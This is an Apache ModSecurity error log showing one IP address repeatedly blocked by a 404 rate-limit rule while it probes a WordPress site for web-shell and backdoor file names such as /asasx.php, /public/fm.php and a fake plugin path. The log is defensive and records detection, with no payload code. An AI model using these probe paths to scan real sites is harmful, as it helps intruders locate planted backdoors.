[Sat Dec 06 18:30:32.390301 2025] [:error] [pid 61216:tid 61260] [client 4.147.185.30:7048] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aTQFyDHlXXVdP5ewviUM8wAAAE4"]
[Sat Dec 06 18:30:33.776820 2025] [:error] [pid 1838:tid 1850] [client 4.147.185.30:7053] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aTQFyS5zgnu67Yo7vrb1eAAAAoQ"]
[Sat Dec 06 18:30:34.645807 2025] [:error] [pid 52809:tid 52823] [client 4.147.185.30:6999] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aTQFyurRwgsmpIJQ2qZsSAAAAgw"]
[Sat Dec 06 18:30:35.354159 2025] [:error] [pid 1838:tid 1870] [client 4.147.185.30:7120] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/edaewni/index.php"] [unique_id "aTQFyy5zgnu67Yo7vrb1fAAAApg"]
[Sat Dec 06 18:30:37.726322 2025] [:error] [pid 61215:tid 61237] [client 4.147.185.30:7102] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/edaewni/index.php"] [unique_id "aTQFzeOOZ8nTCBYuI-w94AAAABI"]
[Sat Dec 06 18:30:38.373608 2025] [:error] [pid 52809:tid 52813] [client 4.147.185.30:7092] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/edaewni/index.php"] [unique_id "aTQFzurRwgsmpIJQ2qZsSgAAAgI"]
[Sat Dec 06 18:30:39.443857 2025] [:error] [pid 35591:tid 35602] [client 4.147.185.30:7059] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/edaewni/index.php"] [unique_id "aTQFz4bmw-7bFvTxc9MKTQAAAQk"]
[Sat Dec 06 18:30:41.587020 2025] [:error] [pid 52809:tid 52821] [client 4.147.185.30:7055] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aTQF0erRwgsmpIJQ2qZsUwAAAgo"]
[Sat Dec 06 18:30:42.551537 2025] [:error] [pid 52809:tid 52828] [client 4.147.185.30:7152] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aTQF0urRwgsmpIJQ2qZsVgAAAhE"]
[Sat Dec 06 18:30:43.773999 2025] [:error] [pid 61215:tid 61224] [client 4.147.185.30:7080] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aTQF0-OOZ8nTCBYuI-w95AAAAAU"]
[Sat Dec 06 18:30:44.217015 2025] [:error] [pid 48399:tid 48410] [client 4.147.185.30:7161] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aTQF1OjNPOrIshd8EwevKgAAAck"]
[Sat Dec 06 18:30:46.069701 2025] [:error] [pid 61303:tid 61323] [client 4.147.185.30:7090] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aTQF1twK_fe00OH7zy6F_AAAANA"]
[Sat Dec 06 18:30:47.967916 2025] [:error] [pid 1838:tid 1851] [client 4.147.185.30:7154] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aTQF1y5zgnu67Yo7vrb1iwAAAoU"]
[Sat Dec 06 18:30:49.619639 2025] [:error] [pid 1838:tid 1866] [client 4.147.185.30:6980] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aTQF2S5zgnu67Yo7vrb1kAAAApQ"]
[Sat Dec 06 18:30:50.687969 2025] [:error] [pid 1838:tid 1863] [client 4.147.185.30:7132] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aTQF2i5zgnu67Yo7vrb1mAAAApE"]
[Sat Dec 06 18:30:51.428390 2025] [:error] [pid 1838:tid 1859] [client 4.147.185.30:7137] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/login.php"] [unique_id "aTQF2y5zgnu67Yo7vrb1nQAAAo0"]
[Sat Dec 06 18:30:51.743990 2025] [:error] [pid 1838:tid 1849] [client 4.147.185.30:7046] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/login.php"] [unique_id "aTQF2y5zgnu67Yo7vrb1nwAAAoM"]
[Sat Dec 06 18:30:53.740937 2025] [:error] [pid 61216:tid 61266] [client 4.147.185.30:7107] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/login.php"] [unique_id "aTQF3THlXXVdP5ewviUNFwAAAFQ"]
[Sat Dec 06 18:30:57.069752 2025] [:error] [pid 61303:tid 61323] [client 4.147.185.30:7079] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/login.php"] [unique_id "aTQF4dwK_fe00OH7zy6GCgAAANA"]
[Sat Dec 06 18:30:58.733110 2025] [:error] [pid 35622:tid 35651] [client 4.147.185.30:7160] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTQF4iOSP_9DVLgFwI6zMwAAAYA"]
[Sat Dec 06 18:31:03.497972 2025] [:error] [pid 1838:tid 1861] [client 4.147.185.30:7057] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTQF5y5zgnu67Yo7vrb1qQAAAo8"]
[Sat Dec 06 18:31:06.133869 2025] [:error] [pid 1727:tid 1739] [client 4.147.185.30:7158] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTQF6sD83luYT37-ZaX94AAAAko"]
[Sat Dec 06 18:31:07.020594 2025] [:error] [pid 1838:tid 1859] [client 4.147.185.30:7111] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aTQF6y5zgnu67Yo7vrb1rgAAAo0"]
[Sat Dec 06 18:31:08.246370 2025] [:error] [pid 1727:tid 1744] [client 4.147.185.30:7100] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aTQF7MD83luYT37-ZaX94QAAAk8"]
[Sat Dec 06 18:31:09.399893 2025] [:error] [pid 1727:tid 1746] [client 4.147.185.30:7066] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aTQF7cD83luYT37-ZaX95AAAAlE"]
[Sat Dec 06 18:31:10.000789 2025] [:error] [pid 1838:tid 1852] [client 4.147.185.30:6978] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aTQF7S5zgnu67Yo7vrb1rwAAAoY"]
[Sat Dec 06 18:31:11.605256 2025] [:error] [pid 1838:tid 1858] [client 4.147.185.30:7050] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aTQF7y5zgnu67Yo7vrb1sQAAAow"]
[Sat Dec 06 18:31:12.811953 2025] [:error] [pid 61216:tid 61256] [client 4.147.185.30:7155] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aTQF8DHlXXVdP5ewviUNIgAAAEo"]
[Sat Dec 06 18:31:13.587661 2025] [:error] [pid 35591:tid 35597] [client 4.147.185.30:7041] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aTQF8Ybmw-7bFvTxc9MKaQAAAQQ"]
[Sat Dec 06 18:31:14.976759 2025] [:error] [pid 1727:tid 1745] [client 4.147.185.30:7105] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aTQF8sD83luYT37-ZaX95gAAAlA"]
[Sat Dec 06 18:31:17.095098 2025] [:error] [pid 61216:tid 61248] [client 4.147.185.30:6995] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aTQF9THlXXVdP5ewviUNKAAAAEI"]
[Sat Dec 06 18:31:18.529156 2025] [:error] [pid 48399:tid 48408] [client 4.147.185.30:7068] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aTQF9ujNPOrIshd8EwevRQAAAcc"]
[Sat Dec 06 18:31:24.303982 2025] [:error] [pid 1727:tid 1747] [client 4.147.185.30:7165] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aTQF_MD83luYT37-ZaX97AAAAlI"]
[Sat Dec 06 18:31:25.521479 2025] [:error] [pid 1727:tid 1739] [client 4.147.185.30:7043] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aTQF_cD83luYT37-ZaX97gAAAko"]
[Sat Dec 06 18:31:27.144511 2025] [:error] [pid 61217:tid 61292] [client 4.147.185.30:6977] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aTQF_1dSKQYfLI3fYo54pgAAAJM"]
[Sat Dec 06 18:32:12.989407 2025] [:error] [pid 35622:tid 35669] [client 4.147.185.30:7112] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aTQGLCOSP_9DVLgFwI6zYQAAAZI"]
[Sat Dec 06 18:32:14.259279 2025] [:error] [pid 1838:tid 1852] [client 4.147.185.30:7097] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aTQGLi5zgnu67Yo7vrb17QAAAoY"]
[Sat Dec 06 18:32:15.174298 2025] [:error] [pid 61217:tid 61296] [client 4.147.185.30:7140] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aTQGL1dSKQYfLI3fYo54vwAAAJc"]
[Sat Dec 06 18:32:16.287880 2025] [:error] [pid 48399:tid 48405] [client 4.147.185.30:7135] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aTQGMOjNPOrIshd8EwevagAAAcQ"]
[Sat Dec 06 18:32:17.124224 2025] [:error] [pid 35622:tid 35662] [client 4.147.185.30:7108] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/fm.php"] [unique_id "aTQGMSOSP_9DVLgFwI6zYwAAAYs"]
[Sat Dec 06 18:32:19.757204 2025] [:error] [pid 1838:tid 1846] [client 4.147.185.30:7082] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/fm.php"] [unique_id "aTQGMy5zgnu67Yo7vrb18QAAAoA"]
[Sat Dec 06 18:32:22.752732 2025] [:error] [pid 61215:tid 61233] [client 4.147.185.30:6986] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/fm.php"] [unique_id "aTQGNuOOZ8nTCBYuI-w-AgAAAA4"]
[Sat Dec 06 18:32:25.763013 2025] [:error] [pid 61217:tid 61295] [client 4.147.185.30:7047] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/fm.php"] [unique_id "aTQGOVdSKQYfLI3fYo54xAAAAJY"]
[Sat Dec 06 18:32:26.253151 2025] [:error] [pid 1727:tid 1730] [client 4.147.185.30:7040] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-2019.php"] [unique_id "aTQGOsD83luYT37-ZaX-CwAAAkE"]
[Sat Dec 06 18:32:28.042692 2025] [:error] [pid 1838:tid 1856] [client 4.147.185.30:7117] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-2019.php"] [unique_id "aTQGPC5zgnu67Yo7vrb1-AAAAoo"]
[Sat Dec 06 18:32:29.641807 2025] [:error] [pid 61216:tid 61255] [client 4.147.185.30:7045] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-2019.php"] [unique_id "aTQGPTHlXXVdP5ewviUNUgAAAEk"]
[Sat Dec 06 18:32:30.654802 2025] [:error] [pid 61217:tid 61278] [client 4.147.185.30:7061] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-2019.php"] [unique_id "aTQGPldSKQYfLI3fYo54xgAAAIU"]
[Sat Dec 06 18:32:31.215672 2025] [:error] [pid 61217:tid 61281] [client 4.147.185.30:7144] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aTQGP1dSKQYfLI3fYo54xwAAAIg"]
[Sat Dec 06 18:32:31.862856 2025] [:error] [pid 61217:tid 61291] [client 4.147.185.30:7077] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aTQGP1dSKQYfLI3fYo54yAAAAJI"]
[Sat Dec 06 18:32:32.761210 2025] [:error] [pid 35591:tid 35613] [client 4.147.185.30:7044] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aTQGQIbmw-7bFvTxc9MKewAAARQ"]
[Sat Dec 06 18:32:33.327312 2025] [:error] [pid 52809:tid 52815] [client 4.147.185.30:7089] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aTQGQerRwgsmpIJQ2qZsfgAAAgQ"]
[Sat Dec 06 18:32:33.675322 2025] [:error] [pid 52809:tid 52832] [client 4.147.185.30:7073] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aTQGQerRwgsmpIJQ2qZsfwAAAhU"]
[Sat Dec 06 18:32:36.000185 2025] [:error] [pid 35591:tid 35607] [client 4.147.185.30:7081] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aTQGQ4bmw-7bFvTxc9MKfAAAAQ4"]
[Sat Dec 06 18:32:37.190074 2025] [:error] [pid 61216:tid 61257] [client 4.147.185.30:7021] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aTQGRTHlXXVdP5ewviUNVgAAAEs"]
[Sat Dec 06 18:32:39.553958 2025] [:error] [pid 48399:tid 48401] [client 4.147.185.30:7122] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aTQGR-jNPOrIshd8EwevcQAAAcA"]
[Sat Dec 06 18:32:41.653100 2025] [:error] [pid 1727:tid 1734] [client 4.147.185.30:7092] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTQGScD83luYT37-ZaX-EQAAAkU"]
